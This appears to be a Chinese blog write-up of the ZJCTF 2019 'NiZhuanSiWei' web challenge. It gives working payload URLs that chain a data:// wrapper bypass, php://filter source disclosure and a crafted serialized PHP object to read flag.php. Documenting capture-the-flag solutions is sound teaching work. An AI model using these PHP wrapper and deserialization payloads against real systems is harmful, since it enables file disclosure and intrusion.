zoukankan      html  css  js  c++  java
  • [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

     简介

     原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/

     考察知识点:反序列化、PHP伪协议、数组绕过

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

     过程

    打开页面看到源码先审计

    大致分析flag在flag.php里面 先想办法绕过这些限制到达 文件包含那一块

    绕过file_get_contents()  

    将welcome to the zjctf base64编码 使用PHP伪协议data读取数据流 可以成功绕过file_get_contents

    http://e188408b-f98c-4a28-bd9d-537acd229427.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

     绕过正则表达式 

    使用数组即可成功绕过(一开始我的想法是直接包含flag.php 然后通过echo输出$flag这个变量 这个想法不对)

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php

    读取useless.php文件

    看到注释有个//uselees.php  最后看WP读取的 (我服了自己了 明明可以通过PHP伪协议来读取源码的)  但是数组绕过正则经过测试 伪协议不行所以flag.php无法读取  

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
    <?php  
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  

    构造序列化获取flag.php文件

    <?php  
    class Flag{  //flag.php  
        public $file='flag.php'; //注意这里 我们这里赋值了flag.php文件  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    print_r(serialize(new Flag()));
    //得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    最终payload:

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,
    d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    参考学习:https://www.cnblogs.com/gaonuoqi/p/12255777.html

  • 相关阅读:
    jenkins 使用oclint 扫描 oc 代码
    mac下 jenkins 环境搭建
    jenkins 中 Poll SCM 和 Build periodically 的区别
    表单验证封装,一招学会,永远受用
    浅谈js中的执行环境和执行环境对象
    浅谈php之设计模式基础
    四条地铁线带你通往Ajax的大门
    论js结合数学的应用
    以留言本的开发打开ajax的世界
    初步学习css3之3D动画
  • 原文地址:https://www.cnblogs.com/xhds/p/12400108.html
Copyright © 2011-2022 走看看